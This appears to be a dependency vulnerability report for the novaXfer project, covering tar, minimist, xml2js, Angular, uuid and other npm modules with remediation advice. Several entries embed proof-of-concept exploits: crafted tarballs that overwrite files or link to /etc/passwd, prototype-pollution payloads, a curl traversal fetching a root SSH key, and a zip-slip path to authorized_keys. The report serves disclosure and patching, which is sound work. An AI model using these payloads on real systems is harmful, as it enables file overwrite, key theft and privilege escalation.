Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade tough-cookie to version 4.1.3 or higher.
References
medium severity
- Vulnerable module: xmldom
- Introduced through: pdf2table@0.0.1
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › pdf2table@0.0.1 › pdf2json@0.7.1 › xmldom@0.6.0
Overview
xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.
Affected versions of this package are vulnerable to Improper Input Validation. It does not correctly escape special characters when serializing elements are removed from their ancestor. This may lead to unexpected syntactic changes during XML processing in some downstream applications.
Note: Customers who use "xmldom" package, should use "@xmldom/xmldom" instead, as "xmldom" is no longer maintained.
Remediation
There is no fixed version for xmldom.
References
medium severity
- Vulnerable module: tar
- Introduced through: gulp-favicons@2.4.0
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › gulp-favicons@2.4.0 › favicons@5.5.0 › sharp@0.23.4 › tar@5.0.11
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Improper Handling of Unicode Encoding in Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS. An attacker can overwrite arbitrary files by exploiting Unicode normalization collisions in filenames within a malicious tar archive on case-insensitive or normalization-insensitive filesystems.
Note:
This is only exploitable if the system is running on a filesystem such as macOS APFS or HFS+ that ignores Unicode normalization.
Workaround
This vulnerability can be mitigated by filtering out all SymbolicLink entries when extracting tarball data.
PoC
const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');
const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);
console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);
// Construct stream
const stream = new PassThrough();
const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);
// Key 1: "f_ss"
const header1 = new tar.Header({
path: 'collision_ss',
mode: 0o644,
size: contentA.length,
});
header1.encode();
// Key 2: "f_ß"
const header2 = new tar.Header({
path: 'collision_ß',
mode: 0o644,
size: contentB.length,
});
header2.encode();
// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding
stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding
// End
stream.write(Buffer.alloc(1024));
stream.end();
// Extract
const extract = new tar.Unpack({
cwd: exploitDir,
// Ensure jobs is high enough to allow parallel processing if locks fail
jobs: 8
});
stream.pipe(extract);
extract.on('end', () => {
console.log('[*] Extraction complete');
// Check what exists
const files = fs.readdirSync(exploitDir);
console.log('[*] Files in exploit dir:', files);
files.forEach(f => {
const p = path.join(exploitDir, f);
const stat = fs.statSync(p);
const content = fs.readFileSync(p, 'utf8');
console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
});
if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
console.log('\[*] GOOD');
} else {
console.log('[-] No collision');
}
});
Remediation
Upgrade tar to version 7.5.4 or higher.
References
medium severity
- Vulnerable module: @angular/compiler
- Introduced through: @angular/compiler@4.4.7
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › @angular/compiler@4.4.7Remediation: Upgrade to @angular/compiler@19.2.18.
Overview
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via improper handling of namespaced elements and attributes during template compilation and sanitization. An attacker can execute arbitrary JavaScript in the user's browser by injecting specially crafted templates or tag structures with custom namespaces that bypass script-stripping logic and attribute sanitizers.
Note: This is only exploitable if the application accepts user-controlled template input, supports namespace parsing in templates, and does not perform additional input sanitization before processing with the template compiler.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade @angular/compiler to version 19.2.18, 20.3.22, 21.2.15, 22.0.0-rc.2 or higher.
References
medium severity
- Vulnerable module: @angular/core
- Introduced through: @angular/core@4.4.7
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › @angular/core@4.4.7Remediation: Upgrade to @angular/core@19.2.18.
Overview
@angular/core is a package that lets you write client-side web applications as if you had a smarter browser. It also lets you use HTML as your template language and lets you extend HTML’s syntax to express your application’s components clearly and succinctly.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via improper handling of namespaced elements and attributes during template compilation and sanitization. An attacker can execute arbitrary JavaScript in the user's browser by injecting specially crafted templates or tag structures with custom namespaces that bypass script-stripping logic and attribute sanitizers.
Note: This is only exploitable if the application accepts user-controlled template input, supports namespace parsing in templates, and does not perform additional input sanitization before processing with the template compiler.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade @angular/core to version 19.2.18, 20.3.22, 21.2.15, 22.0.0-rc.2 or higher.
References
medium severity
- Vulnerable module: uuid
- Introduced through: request@2.88.2 and gulp-favicons@2.4.0
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › request@2.88.2 › uuid@3.4.0
-
Introduced through: novaXfer@mattbdean/novaxfer › gulp-favicons@2.4.0 › favicons@5.5.0 › to-ico@1.1.5 › resize-img@1.1.2 › jimp@0.2.28 › request@2.88.2 › uuid@3.4.0
Overview
uuid is a RFC4122 (v1, v4, and v5) compliant UUID library.
Affected versions of this package are vulnerable to Improper Validation of Specified Index, Position, or Offset in Input due to accepting external output buffers but not rejecting out-of-range writes (small buf or large offset). This inconsistency allows silent partial writes into caller-provided buffers.
PoC
cd /home/StrawHat/uuid
npm ci
npm run build
node --input-type=module -e "
import {v4,v5,v6} from './dist-node/index.js';
const ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';
for (const [name,fn] of [
['v4',()=>v4({},new Uint8Array(8),4)],
['v5',()=>v5('x',ns,new Uint8Array(8),4)],
['v6',()=>v6({},new Uint8Array(8),4)],
]) {
try { fn(); console.log(name,'NO_THROW'); }
catch(e){ console.log(name,'THREW',e.name); }
}"
Remediation
Upgrade uuid to version 11.1.1, 14.0.0 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: gulp-favicons@2.4.0
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › gulp-favicons@2.4.0 › favicons@5.5.0 › sharp@0.23.4 › tar@5.0.11
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Directory Traversal via processing of hardlinks. An attacker can read or overwrite arbitrary files on the file system by crafting a malicious TAR archive that bypasses path traversal protections during extraction.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.7 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: gulp-favicons@2.4.0
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › gulp-favicons@2.4.0 › favicons@5.5.0 › sharp@0.23.4 › tar@5.0.11
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Directory Traversal via insufficient sanitization of the linkpath parameter during archive extraction. An attacker can overwrite arbitrary files or create malicious symbolic links by crafting a tar archive with hardlink or symlink entries that resolve outside the intended extraction directory.
PoC
const fs = require('fs')
const path = require('path')
const tar = require('tar')
const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'
// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')
// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
path: 'exploit_hard',
type: 'Link',
size: 0,
linkpath: secret
})
h1.encode()
// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
path: 'exploit_sym',
type: 'SymbolicLink',
size: 0,
linkpath: targetSym
})
h2.encode()
// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))
console.log('[*] Extracting malicious tarball...')
// 3. Extract with default secure settings
tar.x({
cwd: out,
file: tarFile,
preservePaths: false
}).then(() => {
console.log('[*] Verifying payload...')
// Test Hardlink Overwrite
try {
fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
} else {
console.log('[-] Hardlink failed')
}
} catch (e) {}
// Test Symlink Poisoning
try {
if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
} else {
console.log('[-] Symlink failed')
}
} catch (e) {}
})
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.3 or higher.
References
medium severity
- Vulnerable module: jpeg-js
- Introduced through: gulp-favicons@2.4.0
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › gulp-favicons@2.4.0 › favicons@5.5.0 › jimp@0.9.8 › @jimp/types@0.9.8 › @jimp/jpeg@0.9.8 › jpeg-js@0.3.7Remediation: Upgrade to gulp-favicons@3.0.0.
-
Introduced through: novaXfer@mattbdean/novaxfer › gulp-favicons@2.4.0 › favicons@5.5.0 › to-ico@1.1.5 › resize-img@1.1.2 › jimp@0.2.28 › jpeg-js@0.2.0
-
Introduced through: novaXfer@mattbdean/novaxfer › gulp-favicons@2.4.0 › favicons@5.5.0 › to-ico@1.1.5 › resize-img@1.1.2 › jpeg-js@0.1.2
Overview
Affected versions of this package are vulnerable to Denial of Service (DoS). The attacker could manipulate the exif data in the image file such as change the image pixel to 64250x64250pixels. If the module loaded the crafted image, it tries to allocate 4128062500 pixels into memory.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade jpeg-js to version 0.4.0 or higher.
References
medium severity
- Vulnerable module: minimist
- Introduced through: gulp-favicons@2.4.0 and pdf2table@0.0.1
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › gulp-favicons@2.4.0 › favicons@5.5.0 › to-ico@1.1.5 › resize-img@1.1.2 › jimp@0.2.28 › mkdirp@0.5.1 › minimist@0.0.8
-
Introduced through: novaXfer@mattbdean/novaxfer › pdf2table@0.0.1 › pdf2json@0.7.1 › optimist@0.6.1 › minimist@0.0.10
Overview
minimist is a parse argument options module.
Affected versions of this package are vulnerable to Prototype Pollution. The library could be tricked into adding or modifying properties of Object.prototype using a constructor or __proto__ payload.
PoC by Snyk
require('minimist')('--__proto__.injected0 value0'.split(' '));
console.log(({}).injected0 === 'value0'); // true
require('minimist')('--constructor.prototype.injected1 value1'.split(' '));
console.log(({}).injected1 === 'value1'); // true
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade minimist to version 0.2.1, 1.2.3 or higher.
References
medium severity
- Vulnerable module: @angular/compiler
- Introduced through: @angular/compiler@4.4.7
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › @angular/compiler@4.4.7Remediation: Upgrade to @angular/compiler@20.3.25.
Overview
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the two-way property binding. An attacker can execute arbitrary JavaScript in the context of the user's browser by supplying crafted input to a sensitive DOM property bound with two-way binding syntax.
Note: This is only exploitable if the application uses two-way binding on a sensitive native DOM property, the bound value is user-controllable, and no additional manual sanitization is performed.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade @angular/compiler to version 20.3.25, 21.2.17, 22.0.1 or higher.
References
medium severity
- Vulnerable module: xml2js
- Introduced through: gulp-favicons@2.4.0
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › gulp-favicons@2.4.0 › favicons@5.5.0 › xml2js@0.4.23Remediation: Upgrade to gulp-favicons@4.0.0.
Overview
Affected versions of this package are vulnerable to Prototype Pollution due to allowing an external attacker to edit or add new properties to an object. This is possible because the application does not properly validate incoming JSON keys, thus allowing the __proto__ property to be edited.
PoC
var parseString = require('xml2js').parseString;
let normal_user_request = "<role>admin</role>";
let malicious_user_request = "<__proto__><role>admin</role></__proto__>";
const update_user = (userProp) => {
// A user cannot alter his role. This way we prevent privilege escalations.
parseString(userProp, function (err, user) {
if(user.hasOwnProperty("role") && user?.role.toLowerCase() === "admin") {
console.log("Unauthorized Action");
} else {
console.log(user?.role[0]);
}
});
}
update_user(normal_user_request);
update_user(malicious_user_request);
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade xml2js to version 0.5.0 or higher.
References
medium severity
- Vulnerable module: @angular/core
- Introduced through: @angular/core@4.4.7
Detailed paths
-
Introduced through: novaXfer@mattbdean/novaxfer › @angular/core@4.4.7Remediation: Upgrade to @angular/core@19.2.23.
Overview
@angular/core is a package that lets you write client-side web applications as if you had a smarter browser. It also lets you use HTML as your template language and lets you extend HTML’s syntax to express your application’s components clearly and succinctly.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the createComponent mechanism. An attacker can execute arbitrary JavaScript code in the context of the user's browser by mounting a dynamic component onto a <script> or namespaced script element when user-controlled input is passed as the selector or host element and no additional input sanitization is performed.
Details
